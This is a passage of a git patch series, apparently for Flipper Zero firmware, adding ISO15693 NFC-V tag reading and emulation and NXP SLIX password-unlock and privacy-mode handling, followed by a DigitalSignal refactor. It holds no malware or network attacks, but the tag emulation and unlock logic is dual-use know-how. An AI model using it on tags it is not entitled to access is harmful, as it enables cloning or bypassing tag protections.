(NFCV_FC / 32) / 2.0f) /* 1.1799 µs */ +#define NFCV_RESP_SUBC1_UNMOD_256 (256.0f / NFCV_FC) /* 18.8791 µs */ + +#define PULSE_DURATION_NS (128.0f * 1000000000.0f / NFCV_FC) /* ns */ + +#define DIGITAL_SIGNAL_UNIT_S (100000000000.0f) +#define DIGITAL_SIGNAL_UNIT_US (100000.0f) + +#define NFCV_TOTAL_BLOCKS_MAX 256 +#define NFCV_BLOCK_SIZE 4 +#define NFCV_MAX_DUMP_SIZE (NFCV_BLOCK_SIZE * NFCV_TOTAL_BLOCKS_MAX) + +/* helpers to calculate the send time based on DWT->CYCCNT */ +#define NFCV_FDT_USEC(usec) (usec * 64) +#define NFCV_FDT_FC(ticks) (ticks * 6400 / 1356) + +#define NFCV_FRAME_STATE_SOF1 0 +#define NFCV_FRAME_STATE_SOF2 1 +#define NFCV_FRAME_STATE_CODING_4 2 +#define NFCV_FRAME_STATE_CODING_256 3 +#define NFCV_FRAME_STATE_EOF 4 +#define NFCV_FRAME_STATE_RESET 5 + +/* sequences for every section of a frame */ +#define NFCV_SIG_SOF 0 +#define NFCV_SIG_BIT0 1 +#define NFCV_SIG_BIT1 2 +#define NFCV_SIG_EOF 3 +#define NFCV_SIG_LOW_SOF 4 +#define NFCV_SIG_LOW_BIT0 5 +#define NFCV_SIG_LOW_BIT1 6 +#define NFCV_SIG_LOW_EOF 7 + +/* ISO15693 command codes */ +#define ISO15693_INVENTORY 0x01 +#define ISO15693_STAYQUIET 0x02 +#define ISO15693_READBLOCK 0x20 +#define ISO15693_WRITEBLOCK 0x21 +#define ISO15693_LOCKBLOCK 0x22 +#define ISO15693_READ_MULTI_BLOCK 0x23 +#define ISO15693_WRITE_MULTI_BLOCK 0x24 +#define ISO15693_SELECT 0x25 +#define ISO15693_RESET_TO_READY 0x26 +#define ISO15693_WRITE_AFI 0x27 +#define ISO15693_LOCK_AFI 0x28 +#define ISO15693_WRITE_DSFID 0x29 +#define ISO15693_LOCK_DSFID 0x2A +#define ISO15693_GET_SYSTEM_INFO 0x2B +#define ISO15693_READ_MULTI_SECSTATUS 0x2C + +/* ISO15693 RESPONSE ERROR CODES */ +#define ISO15693_NOERROR 0x00 +#define ISO15693_ERROR_CMD_NOT_SUP 0x01 // Command not supported +#define ISO15693_ERROR_CMD_NOT_REC 0x02 // Command not recognized (eg. parameter error) +#define ISO15693_ERROR_CMD_OPTION 0x03 // Command option not supported +#define ISO15693_ERROR_GENERIC 0x0F // No additional Info about this error +#define ISO15693_ERROR_BLOCK_UNAVAILABLE 0x10 +#define ISO15693_ERROR_BLOCK_LOCKED_ALREADY 0x11 // cannot lock again +#define ISO15693_ERROR_BLOCK_LOCKED 0x12 // cannot be changed +#define ISO15693_ERROR_BLOCK_WRITE 0x13 // Writing was unsuccessful +#define ISO15693_ERROR_BLOCL_WRITELOCK 0x14 // Locking was unsuccessful + +typedef enum { + NfcVAuthMethodManual, + NfcVAuthMethodTonieBox, +} NfcVAuthMethod; + +typedef enum { + NfcVTypePlain = 0, + NfcVTypeSlix = 1, + NfcVTypeSlixS = 2, + NfcVTypeSlixL = 3, + NfcVTypeSlix2 = 4, +} NfcVSubtype; + +typedef enum { + NfcVSendFlagsNormal = 0, + NfcVSendFlagsSof = 1 << 0, + NfcVSendFlagsCrc = 1 << 1, + NfcVSendFlagsEof = 1 << 2, + NfcVSendFlagsOneSubcarrier = 0, + NfcVSendFlagsTwoSubcarrier = 1 << 3, + NfcVSendFlagsLowRate = 0, + NfcVSendFlagsHighRate = 1 << 4 +} NfcVSendFlags; + +typedef struct { + uint8_t key_read[4]; + uint8_t key_write[4]; + uint8_t key_privacy[4]; + uint8_t key_destroy[4]; + uint8_t key_eas[4]; + uint8_t rand[2]; + bool privacy; +} NfcVSlixData; + +typedef union { + NfcVSlixData slix; +} NfcVSubtypeData; + +typedef struct { + DigitalSignal* nfcv_resp_sof; + DigitalSignal* nfcv_resp_one; + DigitalSignal* nfcv_resp_zero; + DigitalSignal* nfcv_resp_eof; +} NfcVEmuAirSignals; + +typedef struct { + PulseReader* reader_signal; + DigitalSignal* nfcv_resp_pulse; /* pulse length, fc/32 */ + DigitalSignal* nfcv_resp_unmod; /* unmodulated length 256/fc */ + NfcVEmuAirSignals signals_high; + NfcVEmuAirSignals signals_low; + DigitalSequence* nfcv_signal; +} NfcVEmuAir; + +typedef void (*NfcVEmuProtocolHandler)( + FuriHalNfcTxRxContext* tx_rx, + FuriHalNfcDevData* nfc_data, + void* nfcv_data); +typedef bool (*NfcVEmuProtocolFilter)( + FuriHalNfcTxRxContext* tx_rx, + FuriHalNfcDevData* nfc_data, + void* nfcv_data); + +typedef struct { + uint8_t flags; /* ISO15693-3 flags of the header as specified */ + uint8_t command; /* ISO15693-3 command at offset 1 as specified */ + bool addressed; /* ISO15693-3 flags: addressed frame */ + bool advanced; /* ISO15693-3 command: advanced command */ + uint8_t address_offset; /* ISO15693-3 offset of the address in frame, if addressed is set */ + uint8_t payload_offset; /* ISO15693-3 offset of the payload in frame */ + + uint8_t response_buffer[128]; /* pre-allocated response buffer */ + NfcVSendFlags response_flags; /* flags to use when sending response */ + uint32_t send_time; /* timestamp when to send the response */ + + NfcVEmuProtocolFilter emu_protocol_filter; +} NfcVEmuProtocolCtx; + +typedef struct { + /* common ISO15693 fields, being specified in ISO15693-3 */ + uint8_t dsfid; + uint8_t afi; + uint8_t ic_ref; + uint16_t block_num; + uint8_t block_size; + uint8_t data[NFCV_MAX_DUMP_SIZE]; + + /* specfic variant infos */ + NfcVSubtype sub_type; + NfcVSubtypeData sub_data; + NfcVAuthMethod auth_method; + + /* precalced air level data */ + NfcVEmuAir emu_air; + + uint8_t* frame; /* ISO15693-2 incoming raw data from air layer */ + uint8_t frame_length; /* ISO15693-2 length of incoming data */ + uint32_t eof_timestamp; /* ISO15693-2 EOF timestamp, read from DWT->CYCCNT */ + + /* handler for the protocol layer as specified in ISO15693-3 */ + NfcVEmuProtocolHandler emu_protocol_handler; + void* emu_protocol_ctx; + + /* runtime data */ + char last_command[128]; + char error[32]; +} NfcVData; + +typedef struct { + uint16_t blocks_to_read; + int16_t blocks_read; +} NfcVReader; + +ReturnCode nfcv_read_blocks(NfcVReader* reader, NfcVData* data); +ReturnCode nfcv_read_sysinfo(FuriHalNfcDevData* nfc_data, NfcVData* data); +ReturnCode nfcv_inventory(uint8_t* uid); +bool nfcv_read_card(NfcVReader* reader, FuriHalNfcDevData* nfc_data, NfcVData* data); + +void nfcv_emu_init(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data); +void nfcv_emu_deinit(NfcVData* nfcv_data); +bool nfcv_emu_loop( + FuriHalNfcTxRxContext* tx_rx, + FuriHalNfcDevData* nfc_data, + NfcVData* nfcv_data, + uint32_t timeout_ms); +void nfcv_emu_send( + FuriHalNfcTxRxContext* tx_rx, + NfcVData* nfcv, + uint8_t* data, + uint8_t length, + NfcVSendFlags flags, + uint32_t send_time); + +#ifdef __cplusplus +} +#endif diff --git a/lib/nfc/protocols/slix.c b/lib/nfc/protocols/slix.c new file mode 100644 index 000000000..e61c70919 --- /dev/null +++ b/lib/nfc/protocols/slix.c @@ -0,0 +1,407 @@ + +#include +#include "nfcv.h" +#include "slix.h" +#include "nfc_util.h" +#include +#include "furi_hal_nfc.h" +#include + +#define TAG "SLIX" + +static uint32_t slix_read_be(uint8_t* data, uint32_t length) { + uint32_t value = 0; + + for(uint32_t pos = 0; pos < length; pos++) { + value <<= 8; + value |= data[pos]; + } + + return value; +} + +uint8_t slix_get_ti(FuriHalNfcDevData* nfc_data) { + return (nfc_data->uid[3] >> 3) & 3; +} + +bool slix_check_card_type(FuriHalNfcDevData* nfc_data) { + if((nfc_data->uid[0] == 0xE0) && (nfc_data->uid[1] == 0x04) && (nfc_data->uid[2] == 0x01) && + slix_get_ti(nfc_data) == 2) { + return true; + } + return false; +} + +bool slix2_check_card_type(FuriHalNfcDevData* nfc_data) { + if((nfc_data->uid[0] == 0xE0) && (nfc_data->uid[1] == 0x04) && (nfc_data->uid[2] == 0x01) && + slix_get_ti(nfc_data) == 1) { + return true; + } + return false; +} + +bool slix_s_check_card_type(FuriHalNfcDevData* nfc_data) { + if((nfc_data->uid[0] == 0xE0) && (nfc_data->uid[1] == 0x04) && (nfc_data->uid[2] == 0x02)) { + return true; + } + return false; +} + +bool slix_l_check_card_type(FuriHalNfcDevData* nfc_data) { + if((nfc_data->uid[0] == 0xE0) && (nfc_data->uid[1] == 0x04) && (nfc_data->uid[2] == 0x03)) { + return true; + } + return false; +} + +ReturnCode slix_get_random(NfcVData* data) { + uint16_t received = 0; + uint8_t rxBuf[32]; + + ReturnCode ret = rfalNfcvPollerTransceiveReq( + ISO15693_CMD_NXP_GET_RANDOM_NUMBER, + RFAL_NFCV_REQ_FLAG_DEFAULT, + ISO15693_MANUFACTURER_NXP, + NULL, + NULL, + 0, + rxBuf, + sizeof(rxBuf), + &received); + + if(ret == ERR_NONE) { + if(received != 3) { + return ERR_PROTO; + } + if(data != NULL) { + data->sub_data.slix.rand[0] = rxBuf[2]; + data->sub_data.slix.rand[1] = rxBuf[1]; + } + } + + return ret; +} + +ReturnCode slix_unlock(NfcVData* data, uint32_t password_id) { + furi_assert(rand); + + uint16_t received = 0; + uint8_t rxBuf[32]; + uint8_t cmd_set_pass[] = { + password_id, + data->sub_data.slix.rand[1], + data->sub_data.slix.rand[0], + data->sub_data.slix.rand[1], + data->sub_data.slix.rand[0]}; + uint8_t* password = NULL; + + switch(password_id) { + case SLIX_PASS_READ: + password = data->sub_data.slix.key_read; + break; + case SLIX_PASS_WRITE: + password = data->sub_data.slix.key_write; + break; + case SLIX_PASS_PRIVACY: + password = data->sub_data.slix.key_privacy; + break; + case SLIX_PASS_DESTROY: + password = data->sub_data.slix.key_destroy; + break; + case SLIX_PASS_EASAFI: + password = data->sub_data.slix.key_eas; + break; + default: + break; + } + + if(!password) { + return ERR_NOTSUPP; + } + + for(int pos = 0; pos < 4; pos++) { + cmd_set_pass[1 + pos] ^= password[3 - pos]; + } + + ReturnCode ret = rfalNfcvPollerTransceiveReq( + ISO15693_CMD_NXP_SET_PASSWORD, + RFAL_NFCV_REQ_FLAG_DATA_RATE, + ISO15693_MANUFACTURER_NXP, + NULL, + cmd_set_pass, + sizeof(cmd_set_pass), + rxBuf, + sizeof(rxBuf), + &received); + + return ret; +} + +bool slix_generic_protocol_filter( + FuriHalNfcTxRxContext* tx_rx, + FuriHalNfcDevData* nfc_data, + void* nfcv_data_in, + uint32_t password_supported) { + furi_assert(tx_rx); + furi_assert(nfc_data); + furi_assert(nfcv_data_in); + + NfcVData* nfcv_data = (NfcVData*)nfcv_data_in; + NfcVEmuProtocolCtx* ctx = nfcv_data->emu_protocol_ctx; + NfcVSlixData* slix = &nfcv_data->sub_data.slix; + + if(slix->privacy && ctx->command != ISO15693_CMD_NXP_GET_RANDOM_NUMBER && + ctx->command != ISO15693_CMD_NXP_SET_PASSWORD) { + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "command 0x%02X ignored, privacy mode", + ctx->command); + FURI_LOG_D(TAG, "%s", nfcv_data->last_command); + return true; + } + + bool handled = false; + + switch(ctx->command) { + case ISO15693_CMD_NXP_GET_RANDOM_NUMBER: { + slix->rand[0] = furi_hal_random_get(); + slix->rand[1] = furi_hal_random_get(); + + ctx->response_buffer[0] = ISO15693_NOERROR; + ctx->response_buffer[1] = slix->rand[1]; + ctx->response_buffer[2] = slix->rand[0]; + + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 3, ctx->response_flags, ctx->send_time); + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "GET_RANDOM_NUMBER -> 0x%02X%02X", + slix->rand[0], + slix->rand[1]); + + handled = true; + break; + } + + case ISO15693_CMD_NXP_SET_PASSWORD: { + uint8_t password_id = nfcv_data->frame[ctx->payload_offset]; + + if(!(password_id & password_supported)) { + break; + } + + uint8_t* password_xored = &nfcv_data->frame[ctx->payload_offset + 1]; + uint8_t* rand = slix->rand; + uint8_t* password = NULL; + uint8_t password_rcv[4]; + + switch(password_id) { + case SLIX_PASS_READ: + password = slix->key_read; + break; + case SLIX_PASS_WRITE: + password = slix->key_write; + break; + case SLIX_PASS_PRIVACY: + password = slix->key_privacy; + break; + case SLIX_PASS_DESTROY: + password = slix->key_destroy; + break; + case SLIX_PASS_EASAFI: + password = slix->key_eas; + break; + default: + break; + } + + for(int pos = 0; pos < 4; pos++) { + password_rcv[pos] = password_xored[3 - pos] ^ rand[pos % 2]; + } + uint32_t pass_expect = slix_read_be(password, 4); + uint32_t pass_received = slix_read_be(password_rcv, 4); + + /* if the password is all-zeroes, just accept any password*/ + if(!pass_expect || pass_expect == pass_received) { + switch(password_id) { + case SLIX_PASS_READ: + break; + case SLIX_PASS_WRITE: + break; + case SLIX_PASS_PRIVACY: + slix->privacy = false; + break; + case SLIX_PASS_DESTROY: + FURI_LOG_D(TAG, "Pooof! Got destroyed"); + break; + case SLIX_PASS_EASAFI: + break; + default: + break; + } + ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "SET_PASSWORD #%02X 0x%08lX OK", + password_id, + pass_received); + } else { + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "SET_PASSWORD #%02X 0x%08lX/%08lX FAIL", + password_id, + pass_received, + pass_expect); + } + handled = true; + break; + } + + case ISO15693_CMD_NXP_ENABLE_PRIVACY: { + ctx->response_buffer[0] = ISO15693_NOERROR; + + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "ISO15693_CMD_NXP_ENABLE_PRIVACY"); + + slix->privacy = true; + handled = true; + break; + } + } + + return handled; +} + +bool slix_l_protocol_filter( + FuriHalNfcTxRxContext* tx_rx, + FuriHalNfcDevData* nfc_data, + void* nfcv_data_in) { + furi_assert(tx_rx); + furi_assert(nfc_data); + furi_assert(nfcv_data_in); + + bool handled = false; + + /* many SLIX share some of the functions, place that in a generic handler */ + if(slix_generic_protocol_filter( + tx_rx, + nfc_data, + nfcv_data_in, + SLIX_PASS_PRIVACY | SLIX_PASS_DESTROY | SLIX_PASS_EASAFI)) { + return true; + } + + return handled; +} + +void slix_l_prepare(NfcVData* nfcv_data) { + FURI_LOG_D( + TAG, " Privacy pass: 0x%08lX", slix_read_be(nfcv_data->sub_data.slix.key_privacy, 4)); + FURI_LOG_D( + TAG, " Destroy pass: 0x%08lX", slix_read_be(nfcv_data->sub_data.slix.key_destroy, 4)); + FURI_LOG_D(TAG, " EAS pass: 0x%08lX", slix_read_be(nfcv_data->sub_data.slix.key_eas, 4)); + FURI_LOG_D(TAG, " Privacy mode: %s", nfcv_data->sub_data.slix.privacy ? "ON" : "OFF"); + + NfcVEmuProtocolCtx* ctx = nfcv_data->emu_protocol_ctx; + ctx->emu_protocol_filter = &slix_l_protocol_filter; +} + +bool slix_s_protocol_filter( + FuriHalNfcTxRxContext* tx_rx, + FuriHalNfcDevData* nfc_data, + void* nfcv_data_in) { + furi_assert(tx_rx); + furi_assert(nfc_data); + furi_assert(nfcv_data_in); + + bool handled = false; + + /* many SLIX share some of the functions, place that in a generic handler */ + if(slix_generic_protocol_filter(tx_rx, nfc_data, nfcv_data_in, SLIX_PASS_ALL)) { + return true; + } + + return handled; +} + +void slix_s_prepare(NfcVData* nfcv_data) { + FURI_LOG_D( + TAG, " Privacy pass: 0x%08lX", slix_read_be(nfcv_data->sub_data.slix.key_privacy, 4)); + FURI_LOG_D( + TAG, " Destroy pass: 0x%08lX", slix_read_be(nfcv_data->sub_data.slix.key_destroy, 4)); + FURI_LOG_D(TAG, " EAS pass: 0x%08lX", slix_read_be(nfcv_data->sub_data.slix.key_eas, 4)); + FURI_LOG_D(TAG, " Privacy mode: %s", nfcv_data->sub_data.slix.privacy ? "ON" : "OFF"); + + NfcVEmuProtocolCtx* ctx = nfcv_data->emu_protocol_ctx; + ctx->emu_protocol_filter = &slix_s_protocol_filter; +} + +bool slix_protocol_filter( + FuriHalNfcTxRxContext* tx_rx, + FuriHalNfcDevData* nfc_data, + void* nfcv_data_in) { + furi_assert(tx_rx); + furi_assert(nfc_data); + furi_assert(nfcv_data_in); + + bool handled = false; + + /* many SLIX share some of the functions, place that in a generic handler */ + if(slix_generic_protocol_filter(tx_rx, nfc_data, nfcv_data_in, SLIX_PASS_EASAFI)) { + return true; + } + + return handled; +} + +void slix_prepare(NfcVData* nfcv_data) { + FURI_LOG_D( + TAG, " Privacy pass: 0x%08lX", slix_read_be(nfcv_data->sub_data.slix.key_privacy, 4)); + FURI_LOG_D( + TAG, " Destroy pass: 0x%08lX", slix_read_be(nfcv_data->sub_data.slix.key_destroy, 4)); + FURI_LOG_D(TAG, " EAS pass: 0x%08lX", slix_read_be(nfcv_data->sub_data.slix.key_eas, 4)); + FURI_LOG_D(TAG, " Privacy mode: %s", nfcv_data->sub_data.slix.privacy ? "ON" : "OFF"); + + NfcVEmuProtocolCtx* ctx = nfcv_data->emu_protocol_ctx; + ctx->emu_protocol_filter = &slix_protocol_filter; +} + +bool slix2_protocol_filter( + FuriHalNfcTxRxContext* tx_rx, + FuriHalNfcDevData* nfc_data, + void* nfcv_data_in) { + furi_assert(tx_rx); + furi_assert(nfc_data); + furi_assert(nfcv_data_in); + + bool handled = false; + + /* many SLIX share some of the functions, place that in a generic handler */ + if(slix_generic_protocol_filter(tx_rx, nfc_data, nfcv_data_in, SLIX_PASS_ALL)) { + return true; + } + + return handled; +} + +void slix2_prepare(NfcVData* nfcv_data) { + FURI_LOG_D( + TAG, " Privacy pass: 0x%08lX", slix_read_be(nfcv_data->sub_data.slix.key_privacy, 4)); + FURI_LOG_D( + TAG, " Destroy pass: 0x%08lX", slix_read_be(nfcv_data->sub_data.slix.key_destroy, 4)); + FURI_LOG_D(TAG, " EAS pass: 0x%08lX", slix_read_be(nfcv_data->sub_data.slix.key_eas, 4)); + FURI_LOG_D(TAG, " Privacy mode: %s", nfcv_data->sub_data.slix.privacy ? "ON" : "OFF"); + + NfcVEmuProtocolCtx* ctx = nfcv_data->emu_protocol_ctx; + ctx->emu_protocol_filter = &slix2_protocol_filter; +} diff --git a/lib/nfc/protocols/slix.h b/lib/nfc/protocols/slix.h new file mode 100644 index 000000000..719fe6f43 --- /dev/null +++ b/lib/nfc/protocols/slix.h @@ -0,0 +1,46 @@ +#pragma once + +#include +#include +#include "nfc_util.h" +#include + +#define ISO15693_MANUFACTURER_NXP 0x04 + +/* ISO15693-3 CUSTOM NXP COMMANDS */ +#define ISO15693_CMD_NXP_SET_EAS 0xA2 +#define ISO15693_CMD_NXP_RESET_EAS 0xA3 +#define ISO15693_CMD_NXP_LOCK_EAS 0xA4 +#define ISO15693_CMD_NXP_EAS_ALARM 0xA5 +#define ISO15693_CMD_NXP_PASSWORD_PROTECT_EAS_AFI 0xA6 +#define ISO15693_CMD_NXP_WRITE_EAS_ID 0xA7 +#define ISO15693_CMD_NXP_INVENTORY_PAGE_READ 0xB0 +#define ISO15693_CMD_NXP_INVENTORY_PAGE_READ_FAST 0xB1 +#define ISO15693_CMD_NXP_GET_RANDOM_NUMBER 0xB2 +#define ISO15693_CMD_NXP_SET_PASSWORD 0xB3 +#define ISO15693_CMD_NXP_WRITE_PASSWORD 0xB4 +#define ISO15693_CMD_NXP_DESTROY 0xB9 +#define ISO15693_CMD_NXP_ENABLE_PRIVACY 0xBA + +/* available passwords */ +#define SLIX_PASS_READ 0x01 +#define SLIX_PASS_WRITE 0x02 +#define SLIX_PASS_PRIVACY 0x04 +#define SLIX_PASS_DESTROY 0x08 +#define SLIX_PASS_EASAFI 0x10 + +#define SLIX_PASS_ALL \ + (SLIX_PASS_READ | SLIX_PASS_WRITE | SLIX_PASS_PRIVACY | SLIX_PASS_DESTROY | SLIX_PASS_EASAFI) + +bool slix_check_card_type(FuriHalNfcDevData* nfc_data); +bool slix2_check_card_type(FuriHalNfcDevData* nfc_data); +bool slix_s_check_card_type(FuriHalNfcDevData* nfc_data); +bool slix_l_check_card_type(FuriHalNfcDevData* nfc_data); + +ReturnCode slix_get_random(NfcVData* data); +ReturnCode slix_unlock(NfcVData* data, uint32_t password_id); + +void slix_prepare(NfcVData* nfcv_data); +void slix_s_prepare(NfcVData* nfcv_data); +void slix_l_prepare(NfcVData* nfcv_data); +void slix2_prepare(NfcVData* nfcv_data); From 3a42ab189f526af8c29447177618cc184ba96ebe Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Wed, 28 Dec 2022 22:43:39 +0100 Subject: [PATCH 028/329] make structures private, add C implementation of digital_signal_update_dma() --- lib/digital_signal/digital_signal.c | 179 ++++++++++++++++++---------- lib/digital_signal/digital_signal.h | 29 ++--- lib/pulse_reader/pulse_reader.c | 25 +++- lib/pulse_reader/pulse_reader.h | 23 +--- 4 files changed, 147 insertions(+), 109 deletions(-) diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index 9ba5cc901..12b543273 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -4,6 +4,30 @@ #include #include +#include +#include + +struct DigitalSequence { + uint8_t signals_size; + bool bake; + uint32_t sequence_used; + uint32_t sequence_size; + DigitalSignal** signals; + bool* signals_prolonged; + uint8_t* sequence; + const GpioPin* gpio; + uint32_t send_time; +}; + +struct DigitalSignalInternals { + uint32_t reload_reg_entries; + uint32_t reload_reg_remainder; + uint32_t gpio_buff[2]; + const GpioPin* gpio; + LL_DMA_InitTypeDef dma_config_gpio; + LL_DMA_InitTypeDef dma_config_timer; +}; + #define TAG "DigitalSignal" #define F_TIM (64000000.0) @@ -17,28 +41,29 @@ DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt) { signal->edge_timings = malloc(signal->edges_max_cnt * sizeof(uint32_t)); signal->edge_cnt = 0; signal->reload_reg_buff = malloc(signal->edges_max_cnt * sizeof(uint32_t)); - signal->reload_reg_entries = 0; - signal->reload_reg_remainder = 0; - signal->dma_config_gpio.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; - signal->dma_config_gpio.Mode = LL_DMA_MODE_CIRCULAR; - signal->dma_config_gpio.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; - signal->dma_config_gpio.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; - signal->dma_config_gpio.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; - signal->dma_config_gpio.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; - signal->dma_config_gpio.NbData = 2; - signal->dma_config_gpio.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; - signal->dma_config_gpio.Priority = LL_DMA_PRIORITY_VERYHIGH; + signal->internals = malloc(sizeof(DigitalSignalInternals)); + signal->internals->reload_reg_entries = 0; + signal->internals->reload_reg_remainder = 0; + signal->internals->dma_config_gpio.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + signal->internals->dma_config_gpio.Mode = LL_DMA_MODE_CIRCULAR; + signal->internals->dma_config_gpio.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + signal->internals->dma_config_gpio.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + signal->internals->dma_config_gpio.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; + signal->internals->dma_config_gpio.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; + signal->internals->dma_config_gpio.NbData = 2; + signal->internals->dma_config_gpio.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; + signal->internals->dma_config_gpio.Priority = LL_DMA_PRIORITY_VERYHIGH; - signal->dma_config_timer.PeriphOrM2MSrcAddress = (uint32_t) & (TIM2->ARR); - signal->dma_config_timer.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; - signal->dma_config_timer.Mode = LL_DMA_MODE_NORMAL; - signal->dma_config_timer.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; - signal->dma_config_timer.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; - signal->dma_config_timer.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; - signal->dma_config_timer.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; - signal->dma_config_timer.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; - signal->dma_config_timer.Priority = LL_DMA_PRIORITY_HIGH; + signal->internals->dma_config_timer.PeriphOrM2MSrcAddress = (uint32_t) & (TIM2->ARR); + signal->internals->dma_config_timer.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + signal->internals->dma_config_timer.Mode = LL_DMA_MODE_NORMAL; + signal->internals->dma_config_timer.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + signal->internals->dma_config_timer.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + signal->internals->dma_config_timer.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; + signal->internals->dma_config_timer.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; + signal->internals->dma_config_timer.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; + signal->internals->dma_config_timer.Priority = LL_DMA_PRIORITY_HIGH; return signal; } @@ -48,6 +73,7 @@ void digital_signal_free(DigitalSignal* signal) { free(signal->edge_timings); free(signal->reload_reg_buff); + free(signal->internals); free(signal); } @@ -133,29 +159,30 @@ void digital_signal_prepare_arr(DigitalSignal* signal) { furi_assert(signal); /* set up signal polarities */ - if(signal->gpio) { - uint32_t bit_set = signal->gpio->pin; - uint32_t bit_reset = signal->gpio->pin << 16; + if(signal->internals->gpio) { + uint32_t bit_set = signal->internals->gpio->pin; + uint32_t bit_reset = signal->internals->gpio->pin << 16; if(signal->start_level) { - signal->gpio_buff[0] = bit_set; - signal->gpio_buff[1] = bit_reset; + signal->internals->gpio_buff[0] = bit_set; + signal->internals->gpio_buff[1] = bit_reset; } else { - signal->gpio_buff[0] = bit_reset; - signal->gpio_buff[1] = bit_set; + signal->internals->gpio_buff[0] = bit_reset; + signal->internals->gpio_buff[1] = bit_set; } } /* set up edge timings */ - signal->reload_reg_entries = 0; + signal->internals->reload_reg_entries = 0; for(size_t pos = 0; pos < signal->edge_cnt; pos++) { - uint32_t pulse_duration = signal->edge_timings[pos] + signal->reload_reg_remainder; + uint32_t pulse_duration = + signal->edge_timings[pos] + signal->internals->reload_reg_remainder; uint32_t pulse_ticks = (pulse_duration + T_TIM_DIV2) / T_TIM; - signal->reload_reg_remainder = pulse_duration - (pulse_ticks * T_TIM); + signal->internals->reload_reg_remainder = pulse_duration - (pulse_ticks * T_TIM); if(pulse_ticks > 1) { - signal->reload_reg_buff[signal->reload_reg_entries++] = pulse_ticks - 1; + signal->reload_reg_buff[signal->internals->reload_reg_entries++] = pulse_ticks - 1; } } } @@ -175,18 +202,20 @@ static void digital_signal_stop_timer() { static bool digital_signal_setup_dma(DigitalSignal* signal) { furi_assert(signal); - if(!signal->reload_reg_entries) { + if(!signal->internals->reload_reg_entries) { return false; } - signal->dma_config_gpio.MemoryOrM2MDstAddress = (uint32_t)signal->gpio_buff; - signal->dma_config_gpio.PeriphOrM2MSrcAddress = (uint32_t) & (signal->gpio->port->BSRR); - signal->dma_config_timer.MemoryOrM2MDstAddress = (uint32_t)signal->reload_reg_buff; - signal->dma_config_timer.NbData = signal->reload_reg_entries; + signal->internals->dma_config_gpio.MemoryOrM2MDstAddress = + (uint32_t)signal->internals->gpio_buff; + signal->internals->dma_config_gpio.PeriphOrM2MSrcAddress = + (uint32_t) & (signal->internals->gpio->port->BSRR); + signal->internals->dma_config_timer.MemoryOrM2MDstAddress = (uint32_t)signal->reload_reg_buff; + signal->internals->dma_config_timer.NbData = signal->internals->reload_reg_entries; /* set up DMA channel 1 and 2 for GPIO and timer copy operations */ - LL_DMA_Init(DMA1, LL_DMA_CHANNEL_1, &signal->dma_config_gpio); - LL_DMA_Init(DMA1, LL_DMA_CHANNEL_2, &signal->dma_config_timer); + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_1, &signal->internals->dma_config_gpio); + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_2, &signal->internals->dma_config_timer); /* enable both DMA channels */ LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); @@ -220,8 +249,9 @@ void digital_signal_send(DigitalSignal* signal, const GpioPin* gpio) { } /* Configure gpio as output */ - signal->gpio = gpio; - furi_hal_gpio_init(signal->gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + signal->internals->gpio = gpio; + furi_hal_gpio_init( + signal->internals->gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); /* single signal, add a temporary, terminating edge at the end */ signal->edge_timings[signal->edge_cnt++] = 10; @@ -282,8 +312,8 @@ void digital_sequence_set_signal( furi_assert(signal_index < sequence->signals_size); sequence->signals[signal_index] = signal; - signal->gpio = sequence->gpio; - signal->reload_reg_remainder = 0; + signal->internals->gpio = sequence->gpio; + signal->internals->reload_reg_remainder = 0; digital_signal_prepare_arr(signal); } @@ -304,54 +334,71 @@ void digital_sequence_add(DigitalSequence* sequence, uint8_t signal_index) { sequence->sequence[sequence->sequence_used++] = signal_index; } -void digital_signal_update_dma(DigitalSignal* signal) { +#if 